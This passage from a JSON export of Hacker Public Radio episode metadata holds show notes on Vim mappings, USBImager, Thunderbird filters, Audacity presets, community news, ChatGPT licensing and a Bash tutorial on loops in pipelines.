cmdheight=2                                                  " Command line height\n\nset undolevels=1000                                              " Number of undo levels\nset backspace=indent,eol,start                                   " Backspacing over indention, line breaks and insertion start\nset dir=~/.cache/vim                                             " Directory to store swap files\nset backupdir=~/.cache/vim                                       " Directory to store backup files\nset undodir=~/.cache/vim/undo                                    " Directory to store undo cache\n\nnnoremap <silent> <C-l> :nohl<CR>\nnnoremap <silent> <C-s> :term<CR>\nnnoremap <silent> <leader>[ :bp<CR>\nnnoremap <silent> <leader>] :bn<CR>\nnnoremap <leader>so :so ~/.config/vim/sessions/\nnnoremap <silent> <F3> :set list!<CR>\nnnoremap <silent> <leader>cc :set cc-=5<CR>:set cc-=76<CR>\nnnoremap <silent> <leader>cc1 :set cc+=5<CR>:set cc-=76<CR>\nnnoremap <silent> <leader>cc2 :set cc+=76<CR>:set cc-=5<CR>\nvnoremap <silent> <F6> :w !xsel -ib<CR><CR>\nnnoremap <silent> <F7> :-r !xsel -ob<CR>\n\nnnoremap <leader>7 :setlocal spell spelllang=en_us<CR>\nnnoremap <leader>8 :setlocal nospell<CR>
                                                            \n

                                                            My markdown.vim\ncustom session.

                                                            \n
                                                            iabbr 3* * * *\n\nnnoremap <leader>1 I- <Esc>\nnnoremap <leader>2 I    - <Esc>\nnnoremap <leader>3 I        - <Esc>\nnnoremap <leader>f3 :%s/–/-/ge <bar> s/[d*]//ge <bar> %s/—/-/ge <bar> w <CR>\nnnoremap <leader>h1 I# <Esc>A #<Esc>02o<Esc>\nnnoremap <leader>h2 I## <Esc>A ##<Esc>02o<Esc>\nnnoremap <leader>h3 I### <Esc>A ###<Esc>02o<Esc>\nnnoremap <leader>l1 1k0v$hdI- **Source:** [<Esc>pA](<Esc>gJA) <Esc>0:w<CR>\nnnoremap <leader>l2 1k0v$hdI- **Supporting Source:** [<Esc>pA](<Esc>gJA) <Esc>0:w<CR>\nnnoremap <leader>l3 i[]()  <Esc>b\nvnoremap <leader>n1 :s/  *$/ \\/e <bar> .v/ \\$/norm A <CR>:nohl<CR>\nvnoremap <leader>n2 :s/ \\$/  /e <bar> .v/  $/norm A  <CR>:nohl<CR>\n\nvnoremap <leader>c1 di``<Esc>1hp\nvnoremap <leader>c2 di```<CR>```<Esc>1kp\nvnoremap <leader>f1 :s/  */ /g <bar> w <bar> :nohl <bar>, !fmt -w 76 <CR>:w<CR>\nvnoremap <leader>f2 :s/  */ /g <bar> w <bar> :nohl <bar>, !fmt -w 76 <CR>VG:s/$/ \\/ <bar> w <bar> :nohl<CR>2o<Esc>:w<CR>\n\nvnoremap <C-b> di****<Esc>2hp\nvnoremap <C-i> di**<Esc>1hp
                                                            \n

                                                            Just source this file.
                                                            \n:so ~/path/to/file.vim

                                                            \n

                                                            Just because I don't want to be a tease; here is the Thunderbird\none-liner. Don't die on that hill!
                                                            \nnnoremap <leader>1 2dw$x0:s/ OR /rOR /g<CR>gg02f,<C-v>G$ugg02f,<C-v>G$:sort u<CR>gg0VG:s/$/ /<CR>gg0VG:s/ *$/ /<CR>ggVGJIcondition=\"<Esc>A\"<Esc>0:s/ \"$/\"/<CR>:w<CR>

                                                            \n","hostid":391,"series":82,"explicit":0,"license":"CC-BY-SA","tags":"RESERVE SHOW,Vim, :mksessions, :source, .vimrc, vim hints","version":0,"downloads":0,"valid":1}, {"id":3967,"date":"2023-10-17","title":"Unsolicited thoughts on running open source software projects","duration":451,"summary":"A man talks to himself during his drive home from work.","notes":"

                                                            Some thoughts on the different ways you can run an open source\nsoftware project, comparing projects like password-store, which are\nbased on a mailing list and use a minimal forge platform, and others\nthat are based on a fancy forge like Github.

                                                            \n

                                                            I think the fancy forge gives the open source software project a vibe\nthat we're more used to, in our capitalist society. It's a more\ncentralized structure that feels more like a service that's being\noffered to the public, mostly in one direction. Meanwhile software\nprojects that don't have a platform for creating road maps, issues, pull\nrequests etc actually foster a stronger and more open community\nstructure, rather counter-intuitively, because the software is free and\neveryone is able to contribute and modify the software for their own\nuse, and they in fact do. The idea of a canonical version of the\nsoftware is only a convenience, not a defining feature of it.

                                                            \n

                                                            Let me know your thoughts on this.

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"RESERVE SHOW,software governance","version":0,"downloads":0,"valid":1}, {"id":3968,"date":"2023-10-18","title":"About USBimager - part 1/2","duration":681,"summary":"Why you should be using USBimager too, an introduction.","notes":"

                                                            USBImager is a really really simple GUI application that writes\ncompressed disk images to USB drives and creates backups.

                                                            \n

                                                            Available platforms: Windows, MacOSX and Linux. http://gitlab.com/bztsrc/usbimager

                                                            \n

                                                            Just for Windows

                                                            \n
                                                              \n
                                                            • Rufus - Windows only http://github.com/pbatard/rufus
                                                            • \n
                                                            • USB Image Tool - Windows only http://www.alexpage.de/tag/usb-image-tool/
                                                            • \n
                                                            • WIN32 Disk Imager - Windows only last update 2017-03-08 http://sourceforge.net/projects/win32diskimager/
                                                            • \n
                                                            \n

                                                            Don't miss part 2!

                                                            \n","hostid":421,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"RESERVE SHOW,flash,writing,software,usb","version":0,"downloads":0,"valid":1}, {"id":3969,"date":"2023-10-19","title":"Game Sales","duration":865,"summary":"I have recently found some bargains and wanted the share that with the community.","notes":"

                                                            There are some games I will buy for the full prices as soon as they\nare released, such as any of the Civilization games. But I also like to\nfind bargains, and I recently scored a fantastic deal on Steam that\nmotivated me to share this information with the community since I know\nthere are other people out there who enjoy computer games.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"RESERVE SHOW,Computer Games, Bargains, Sales","version":0,"downloads":0,"valid":1}, {"id":3970,"date":"2023-10-20","title":"Playing Alpha Centauri, Part 1","duration":1021,"summary":"Part 1 of tips on playing Alpha Centauri","notes":"

                                                            This starts our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Alpha Centauri","version":0,"downloads":0,"valid":1}, {"id":3971,"date":"2023-10-23","title":"RERERE: How to make friends.","duration":2164,"summary":"Sgoti and Mugs chat with friends about how to make friends on the internet.","notes":"

                                                            RERERE: How to make friends.

                                                            \n

                                                            We could make a series of this?
                                                            \n

                                                            \n
                                                              \n
                                                            • Source: hpr3904 ::\nHow to make friends
                                                              \n

                                                            • \n
                                                            • Source: hpr3942 ::\nRE: How to make friends.
                                                              \n

                                                            • \n
                                                            • Source: Friendship
                                                              \n

                                                            • \n
                                                            • Source: Interpersonal\nrelationship
                                                              \n

                                                            • \n
                                                            • Source: Affection
                                                              \n

                                                            • \n
                                                            • Source: Blood\nbrother.
                                                              \n

                                                            • \n
                                                            • Source: Honour
                                                              \n

                                                              \n
                                                                \n
                                                              • If one's honour is questioned, it can thus be important to disprove\nany false accusations or slander. In some cultures, the practice of\ndueling arose as a means to settle such disputes firmly, though by\nphysical dominance in force or skill rather than by objective\nconsideration of evidence and facts.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Ted Bundy
                                                              \n

                                                            • \n
                                                            \n

                                                            I thought this was funny: How to Ask a\nFriend to Hang Out.

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"making friends, Mugsup, group chat","version":0,"downloads":0,"valid":1}, {"id":3972,"date":"2023-10-24","title":"Thunderbird inbox filtering: keeping a clean/orderly inbox.","duration":662,"summary":"Sgoti talks about filtering your inbox.","notes":"Thunderbird\ninbox filtering: keeping a clean/orderly inbox.\n
                                                              \n
                                                            • Source: Thunderbird: Free Your\nInbox.\n
                                                                \n
                                                              • Supporting Source: Organize\nYour Messages by Using Filters.\n
                                                                  \n
                                                                • Message filters allow you to set up Thunderbird to organize your\nmessages automatically. Each account has its own set of filters. Filters\ncan move messages to folders, delete them, forward them to other email\naddresses, and more.
                                                                • \n
                                                                • When you receive new mail - This is when Getting New Mail is\nselected (the default). Filters are applied to new mail in the inbox.\nThis can occur either before Thunderbird does its assessment of the mail\nas junk, or after. If you have difficulty with filtering the message\nbody, select after classification.
                                                                • \n
                                                                • Automatically applied filters are applied only to the inbox, with\nthe exception of Archive and after send filters, which apply only to the\nmails involved in the action to send or archive. Other folder types are\nnot affected.
                                                                • \n
                                                              • \n
                                                              • Supporting Source: Protect\nyour Thunderbird passwords with a Primary Password.\n
                                                                  \n
                                                                • Thunderbird can save passwords for each account, so you don't have\nto re-enter them when you check for new messages. You can view them and\nremove the ones you don't use anymore.
                                                                • \n
                                                                • Do you want to prevent others from seeing your\nmessages? If you are sharing a computer, the most secure way is\nto create a separate OS user account on the operating system for each\nperson, and make sure your OS account requires a password. Thunderbird\nstores accounts, messages and password information separately for each\noperating system account.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Thunderbird, email filters, inbox filters","version":0,"downloads":0,"valid":1}, {"id":3973,"date":"2023-10-25","title":"Creating an equalizer preset for your episodes of HPR","duration":938,"summary":"A method of creating repeatable processing for your podcasts","notes":"

                                                            Here I describe my method for creating a macro using equalizer,\ncompressor and normalize presets in Audacity, which can be used\nrepeatedly to get consistent results, as long as you use the same voice,\nmicrophone and recording location.

                                                            \n

                                                            This is the sample of the equalizer setting I use with a Sennheiser\nMB2 Pro headset:

                                                            \n

                                                            \n

                                                            This is the waveform for this episode before applying the\nCompressor.

                                                            \n

                                                            \n

                                                            This is the waveform for this episode after applying the\nequalizer discussed earlier, the Compressor at threshold -31dB, noise\nfloor -40dB and ratio 2:1. No make-up gain at the Compressor. Finally,\nNormalize to peak amplitude of -12dB. I was wrong in the show to say\nthat I had been using \"Amplify,\" in fact I have been using\n\"Normalize.\"

                                                            \n

                                                            \n","hostid":399,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"audacity,equalizer,compressor","version":0,"downloads":0,"valid":1}, {"id":3974,"date":"2023-10-26","title":"About USBimager - part 2/2","duration":938,"summary":"Why you should be using USBimager too, an introduction.","notes":"

                                                            Because you want to make changes on a storage device, you are asked\nto enter your password. You can add your user to the group: disk to\navoid this.

                                                            \n

                                                            who or whoami - my login-name

                                                            \n

                                                            id - more details

                                                            \n

                                                            groups - all your groups

                                                            \n

                                                            less /etc/group | grep disk - focus on disk

                                                            \n

                                                            Add an existing user to another group, like this:

                                                            \n
                                                            sudo usermod -aG disk LOGIN-NAME
                                                            \n

                                                            I saw my entry not immediately check it with:\ncat /etc/group

                                                            \n
                                                            \n

                                                            Under releases http://gitlab.com/bztsrc/usbimager\nyou may find your preferred pre built binary, if not, I recommend this\nlink http://gitlab.com/bztsrc/usbimager/tree/binaries

                                                            \n","hostid":421,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"flash, writing, software, usb","version":0,"downloads":0,"valid":1}, {"id":3975,"date":"2023-10-27","title":"Mesa Verde 20230618","duration":649,"summary":"Our story of a day tour in Mesa Verde, Colorado","notes":"

                                                            We had occasion to travel to Colorado for a wedding, and took a\nlittle extra time to visit Mesa Verde. This is a site originally\ninhabited by the Puebloan people (as the Spanish called them) that was\nlocated on a Mesa in the vicinity of the Rocky Mountains. The site is\nnot far from New Mexico, and our tour was fascinating, so I am sharing\nit with you.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, Native Americans, Colorado","version":0,"downloads":0,"valid":1}, {"id":3976,"date":"2023-10-30","title":"The Evolution of Windows' Snipping Tool","duration":348,"summary":"KD gives some history of the evolution of screenshot capabilities on Windows.","notes":"

                                                            Some links to items discussed on this episode:

                                                            \n\n","hostid":266,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"software, screenshot, screen capture, technology, utilities, windows","version":0,"downloads":0,"valid":1}, {"id":3977,"date":"2023-10-31","title":"Creative Commons Search Engine","duration":277,"summary":"There is a new search engine for Creative Commons content","notes":"

                                                            Creative Commons has a new search engine available called Openverse.\nThis is the evolution of the old CC Search developed by Creative\nCommons, which was taken over by WordPress, and now has further\nevolved.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Creative Commons, public domain, licensed content","version":0,"downloads":0,"valid":1}, {"id":3978,"date":"2023-11-01","title":"Driving in Virginia.","duration":1813,"summary":"Sgoti talks about driving in the state of Virginia.","notes":"
                                                              \n
                                                            • Source: Code of\nVirginia - Chapter 6. Crimes Involving Fraud.

                                                            • \n
                                                            • Supporting Source: Article\n7. Motor Vehicle Accidents.

                                                            • \n
                                                            • Supporting Source: Article\n11. Accidents.

                                                            • \n
                                                            • Supporting Source: §\n46.2-896. Duties of driver in event of accident involving damage only to\nunattended property.

                                                            • \n
                                                            • Supporting Source: §\n46.2-373. Report by law-enforcement officer investigating\naccident.

                                                            • \n
                                                            • Source: DMV Law\nEnforcement Division. DMV special agents have offices inside the\ncustomer service centers where they respond immediately to concerns,\nsuch as individuals who attempt to pass counterfeit documents. Their\npresence serves not only to deter attempts of criminal activity, but\nalso to facilitate partnerships with DMV customer service\nrepresentatives as a first line defense in the detection of fraudulent\ndocuments and apprehension of offenders. Field Investigations agents\nalso are charged with enforcing the Virginia Code section intended to\nprotect Virginia consumers from unsafe vehicles and vehicle fraud\narising from the illegal sale of vehicles without the required business\nand motor vehicle dealer licenses, safety inspections, warranties,\ntitling, or taxes. This statute also protects licensed motor vehicle\ndealers from unfair and illegal competition and ensures that the state\nand localities collect appropriate revenues.

                                                            • \n
                                                            • Source: Virginia Department of Motor\nVehicles.

                                                            • \n
                                                            • Supporting Source: Virginia\nDriver's Manual.

                                                            • \n
                                                            • Supporting Source: Interactive\nDriver's Manual With Practice Questions.

                                                            • \n
                                                            • Supporting Source: Commercial\nDriver License Manual.

                                                            • \n
                                                            • Source: Virginia\nTraffic Crash Facts.

                                                            • \n
                                                            • Supporting Source: Related\nCrash Data.

                                                            • \n
                                                            • Source: Staged\nAuto Accident Fraud.

                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Virginia, Driving, CDL, Fraud","version":0,"downloads":0,"valid":1}, {"id":3979,"date":"2023-11-02","title":"FireStick and ad blocking","duration":1501,"summary":"operat0r talks about recent apps for firestick and blocking ads","notes":"

                                                            I talk about recent apps for firestick and blocking ads

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"streaming,tv,ad blocking,youtube","version":0,"downloads":0,"valid":1}, {"id":3980,"date":"2023-11-03","title":"Huntsville to Vicksburg","duration":908,"summary":"From NASA to the Civil War.","notes":"

                                                            We survive the freezing weather in Huntsville, and then move on to\nour next major stop in Vicksburg, Mississippi. But we have a problem of\na refrigerator that stops working and needs to be replaced.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US","version":0,"downloads":0,"valid":1}, {"id":3981,"date":"2023-11-06","title":"HPR Community News for October 2023","duration":3085,"summary":"HPR Volunteers talk about shows released and comments posted in October 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n gemlog.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3956Mon2023-10-02HPR Community News for September 2023HPR Volunteers
                                                            3957Tue2023-10-03The Oh No! News.Some Guy On The Internet
                                                            3958Wed2023-10-04Bikepacking in 1993 without technologyknightwise
                                                            3959Thu2023-10-05Download any HPR series with english file namesgemlog
                                                            3960Fri2023-10-06On The Road At LastAhuka
                                                            3961Mon2023-10-09RERE: How to make friends.Some Guy On The Internet
                                                            3962Tue2023-10-10It's your dataKen Fallon
                                                            3963Wed2023-10-11Storytelling Gamesdnt
                                                            3964Thu2023-10-12Hacker Public Radio at OLFThaj Sara
                                                            3965Fri2023-10-13I've taken the Conqueror Virtual ChallengeDaniel Persson
                                                            3966Mon2023-10-16Vim Hints: 006Some Guy On The Internet
                                                            3967Tue2023-10-17Unsolicited thoughts on running open source software projectsdnt
                                                            3968Wed2023-10-18About USBimager - part 1/2Reto
                                                            3969Thu2023-10-19Game SalesAhuka
                                                            3970Fri2023-10-20Playing Alpha Centauri, Part 1Ahuka
                                                            3971Mon2023-10-23RERERE: How to make friends.Some Guy On The Internet
                                                            3972Tue2023-10-24Thunderbird inbox filtering: keeping a clean/orderly inbox.Some Guy On The Internet
                                                            3973Wed2023-10-25Creating an equalizer preset for your episodes of HPRdnt
                                                            3974Thu2023-10-26About USBimager - part 2/2Reto
                                                            3975Fri2023-10-27Mesa Verde 20230618Ahuka
                                                            3976Mon2023-10-30The Evolution of Windows' Snipping ToolKeith Murray
                                                            3977Tue2023-10-31Creative Commons Search EngineAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3941\n(2023-09-11) \"Interview with Yosef Kerzner\"\nby operat0r.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndnt on 2023-10-02:\n\"Great interview!\"
                                                              • \n
                                                              • \nComment 3:\nWindigo on 2023-10-24:\n\"Great conversation\"

                                                              \n
                                                            • hpr3947\n(2023-09-19) \"Archiving Floppy Disks\"\nby Steve Saner.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nbrian-in-ohio on 2023-10-09:\n\"feedback\"

                                                              \n
                                                            • hpr3953\n(2023-09-27) \"Large language models and AI don't have any common sense\"\nby hobs.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMr Young on 2023-10-01:\n\"LLMs are great if you use them right\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 4 comments on 4 of this month's shows:

                                                            \n\n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2023-October/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Site migration

                                                            \n
                                                              \n
                                                            • Fixed the code that computes the number of days to the next free\nslot.
                                                            • \n
                                                            \n

                                                            Donating to the Internet\nArchive

                                                            \n
                                                              \n
                                                            • There is currently a gift matching campaign which can double the\nimpact of donations! Donate now\nto show appreciation for the service that hosts a lot of HPR content for\nus.
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3982,"date":"2023-11-07","title":"Conversation with ChatGPT","duration":218,"summary":"Conversation with ChatGPT about EU Cookie banners","notes":"

                                                            The\nfollowing conversation is from my query to ChatGPT

                                                            \n

                                                            conversation.html

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ChatGPT, EU, GDPR, cookies","version":0,"downloads":0,"valid":1}, {"id":3983,"date":"2023-11-08","title":"ChatGPT Output is not compatible with CC-BY-SA","duration":536,"summary":"Ken is not a lawyer but is fairly sure that ChatGPT is not compatible with Creative Commons","notes":"

                                                            When uploading to HPR you are\nYou are\nagreeing to license your show CC-BY-SA.

                                                            \n
                                                            \n

                                                            All our shows are now released under a Creative Commons\nAttribution-ShareAlike 4.0 International (CC BY-SA 4.0) license, which\nmeans that while you continue to retain the copyright to your show, you\nare allowing us (and everyone else) to use it provided we give you\nattribution and that we release it under the same license. Click the\nlink for more information.

                                                            \n
                                                            \n

                                                            The\nCreative\nCommons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)\nlicense itself says that sharing (the S in CC-BY-SA), allows you to\n\"copy and redistribute the material in any medium or format for any\npurpose, even commercially\".

                                                            \n

                                                            On the face of it the\nOpenAI\nChatGPT Terms of use seem similar, with Section 3 saying \"you can\nuse Content for any purpose, including commercial purposes\".\nUnfortunately they then go on to say \"Subject to your compliance with\nthese Terms\":

                                                            \n
                                                                  3. Content\n\n      (a) Your Content. You may provide input to the Services (“Input”), and\n      receive output generated and returned by the Services based on the Input\n      (“Output”). Input and Output are collectively “Content.” As between the\n      parties and to the extent permitted by applicable law, you own all\n      Input. Subject to your compliance with these Terms, OpenAI hereby\n      assigns to you all its right, title and interest in and to Output. This\n      means you can use Content for any purpose, including commercial purposes\n      such as sale or publication, if you comply with these Terms. OpenAI may\n      use Content to provide and maintain the Services, comply with applicable\n      law, and enforce our policies. You are responsible for Content,\n      including for ensuring that it does not violate any applicable law or\n      these Terms.
                                                            \n

                                                            The same document lists some restrictions...

                                                            \n
                                                                  2. Usage Requirements\n\n      (c) Restrictions. You may not (i) use the Services in a way that\n      infringes, misappropriates or violates any person’s rights; (ii) reverse\n      assemble, reverse compile, decompile, translate or otherwise attempt to\n      discover the source code or underlying components of models, algorithms,\n      and systems of the Services (except to the extent such restrictions are\n      contrary to applicable law); (iii) use output from the Services to\n      develop models that compete with OpenAI;
                                                            \n

                                                            ... while the\nUsage policies\nlist more.

                                                            \n

                                                            So in my opinion, and I am not a lawyer (IANAL) the\nOpenAI\nChatGPT Terms of use is not compatible with the\nCreative\nCommons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)\nlicense.

                                                            \n

                                                            You can of course refer to ChatGPT as you would any other non\nCreative Commons site.

                                                            \n

                                                            If you disagree or would like to weigh in please discuss this on the\nmail list.

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CreativeCommons, CC-BY-SA, ChatGPT, HPR, CC","version":0,"downloads":0,"valid":1}, {"id":3984,"date":"2023-11-09","title":"Whoppers. How Archer72 and I made moonshine. Volume one.","duration":1730,"summary":"Sgoti assists Archer72 with his crazy plan to make moonshine.","notes":"

                                                            What is a whopper?
                                                            \nan\nextravagant or monstrous lie
                                                            \na\nbig lie
                                                            \n

                                                            \n

                                                            A work of Fiction\nis any creative work, chiefly any narrative work, portraying\nindividuals, events, or places that are imaginary or in ways that are\nimaginary.
                                                            \n

                                                            \n
                                                              \n
                                                            • Source: Moonshine is\nhigh-proof liquor, generally whiskey, traditionally made, or at least\ndistributed, illegally.
                                                              \n
                                                            • \n
                                                            • Supporting Source: busthead\n(bust-head). noun. Cheap, strong liquor, usually of the illegal\nvariety. Moonshine. Hooch. Poteen. Pop-skull. Bumblings. The origin is\nobvious to anyone who’s hit the busthead a little hard themselves.
                                                              \n
                                                            • \n
                                                            \n

                                                            The Bureau of Alcohol, Tobacco, Firearms and Explosives (BATFE),\ncommonly referred to as the ATF, is a domestic law enforcement agency\nwithin the United States Department of Justice.
                                                            \n

                                                            \n
                                                              \n
                                                            • Source: Archer72
                                                              \n
                                                            • \n
                                                            • Source: Mechatroniac
                                                              \n
                                                            • \n
                                                            • Source: Klaatu
                                                              \n
                                                            • \n
                                                            • Source: Zen_Floater2
                                                              \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Whoppers, Moonshine, Archer72","version":0,"downloads":0,"valid":1}, {"id":3985,"date":"2023-11-10","title":"Bash snippet - be careful when feeding data to loops","duration":1644,"summary":"A loop in a pipeline runs in a subshell","notes":"
                                                            \n

                                                            Overview

                                                            \n

                                                            Recently Ken Fallon did a show on HPR, number\n3962, in which he used a Bash\npipeline of multiple commands feeding their output into a\nwhile loop. In the loop he processed the lines produced by\nthe pipeline and used what he found to download audio files belonging to\na series with wget.

                                                            \n

                                                            This was a great show and contained some excellent advice, but the\nuse of the format:

                                                            \n
                                                            pipeline | while read variable; do ...
                                                            \n

                                                            reminded me of the \"gotcha\" I mentioned in my own show\n2699.

                                                            \n

                                                            I thought it might be a good time to revisit this subject.

                                                            \n

                                                            So, what's the problem?

                                                            \n

                                                            The problem can be summarised as a side effect of pipelines.

                                                            \n

                                                            What are pipelines?

                                                            \n

                                                            Pipelines are an amazingly useful feature of Bash (and other shells).\nThe general format is:

                                                            \n
                                                            command1 | command2 ...
                                                            \n

                                                            Here command1 runs in a subshell and produces output (on\nits standard output) which is connected via the pipe symbol\n(|) to command2 where it becomes its\nstandard input. Many commands can be linked together in this\nway to achieve some powerful combined effects.

                                                            \n

                                                            A very simple example of a pipeline might be:

                                                            \n
                                                            $ printf 'World\nHello\n' | sort\nHello\nWorld
                                                            \n

                                                            The printf command (≡'command1') writes two\nlines (separated by newlines) on standard output and this is\npassed to the sort command's standard input\n(≡'command2') which then sorts these lines\nalphabetically.

                                                            \n

                                                            Commands in the pipeline can be more complex than this, and in the\ncase we are discussing we can include a loop command such as\nwhile.

                                                            \n

                                                            For example:

                                                            \n
                                                            $ printf 'World\nHello\n' | sort | while read line; do echo "($line)"; done\n(Hello)\n(World)
                                                            \n

                                                            Here, each line output by the sort command is read into\nthe variable line in the while loop and is\nwritten out enclosed in parentheses.

                                                            \n

                                                            Note that the loop is written on one line. The semi-colons are used\ninstead of the equivalent newlines.

                                                            \n

                                                            Variables and subshells

                                                            \n

                                                            What if the lines output by the loop need to be numbered?

                                                            \n
                                                            $ i=0; printf 'World\nHello\n' | sort | while read line; do ((i++)); echo "$i) $line"; done\n1) Hello\n2) World
                                                            \n

                                                            Here the variable 'i' is set to zero before the\npipeline. It could have been done on the line before of course. In the\nwhile loop the variable is incremented on each iteration\nand included in the output.

                                                            \n

                                                            You might expect 'i' to be 2 once the loop exits but it\nis not. It will be zero in fact.

                                                            \n

                                                            The reason is that there are two 'i' variables. One is\ncreated when it's set to zero at the start before the pipeline. The\nother one is created in the loop as a \"clone\". The expression:

                                                            \n
                                                            ((i++))
                                                            \n

                                                            both creates the variable (where it is a copy of the one in the\nparent shell) and increments it.

                                                            \n

                                                            When the subshell in which the loop runs completes, it will delete\nthis version of 'i' and the original one will simply\ncontain the zero that it was originally set to.

                                                            \n

                                                            You can see what happens in this slightly different example:

                                                            \n
                                                            $ i=1; printf 'World\nHello\n' | sort | while read line; do ((i++)); echo "$i) $line"; done\n2) Hello\n3) World\n$ echo $i\n1
                                                            \n

                                                            These examples are fine, assuming the contents of variable\n'i' incremented in the loop are not needed outside it.

                                                            \n

                                                            The thing to remember is that the same variable name used in a\nsubshell is a different variable; it is initialised with the value of\nthe \"parent\" variable but any changes are not passed back.

                                                            \n

                                                            How to avoid the\nloss of changes in the loop

                                                            \n

                                                            To solve this the loop needs to be run in the original shell, not a\nsubshell. The pipeline which is being read needs to be attached to the\nloop in a different way:

                                                            \n
                                                            $ i=0; while read line; do ((i++)); echo "$i) $line"; done < <(printf 'World\nHello\n' | sort)\n1) Hello\n2) World\n$ echo $i\n2
                                                            \n

                                                            What is being used here is process\nsubstitution. A list of commands or pipelines are enclosed with\nparentheses and a 'less than' sign prepended to the list\n(with no intervening spaces). This is functionally equivalent to a\n(temporary) file of data.

                                                            \n

                                                            The redirection feature allows for data being read from a\nfile in a loop. The general format of the command is:

                                                            \n
                                                            while read variable\n    do\n       # Use the variable\n    done < file
                                                            \n

                                                            Using process substitution instead of a file will achieve what is\nrequired if computations are being done in the loop and the results are\nwanted after it has finished.

                                                            \n

                                                            Beware of this type of\nconstruct

                                                            \n

                                                            The following one-line command sequence looks similar to the version\nusing process substitution, but is just another form of pipeline:

                                                            \n
                                                            $ i=0; while read line; do echo $line; ((i++)); done < /etc/passwd | head -n 5; echo $i\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n0
                                                            \n

                                                            This will display the first 5 lines of the file but does it by\nreading and writing the entire file and only showing the first 5 lines\nof what is written by the loop.

                                                            \n

                                                            What is more, because the while is in a subshell in a\npipeline changes to variable 'i' will be lost.

                                                            \n

                                                            Advice

                                                            \n
                                                              \n
                                                            • Use the pipe-connected-to-loop layout if you're aware of\nthe pitfalls, but will not be affected by them.

                                                            • \n
                                                            • Use the read-from-process-substitution format if you\nwant your loop to be complex and to read and write variables in the\nscript.

                                                            • \n
                                                            • Personally, I always use the second form in scripts, but if I'm\nwriting a temporary one-line thing on the command line I usually use the\nfirst form.

                                                            • \n
                                                            \n

                                                            Tracing pipelines (advanced)

                                                            \n

                                                            I have always wondered about processes in Unix. The process you log\nin to, normally called a shell runs a command language\ninterpreter that executes commands read from the standard input or\nfrom a file. There are several such interpreters available, but we're\ndealing with bash here.

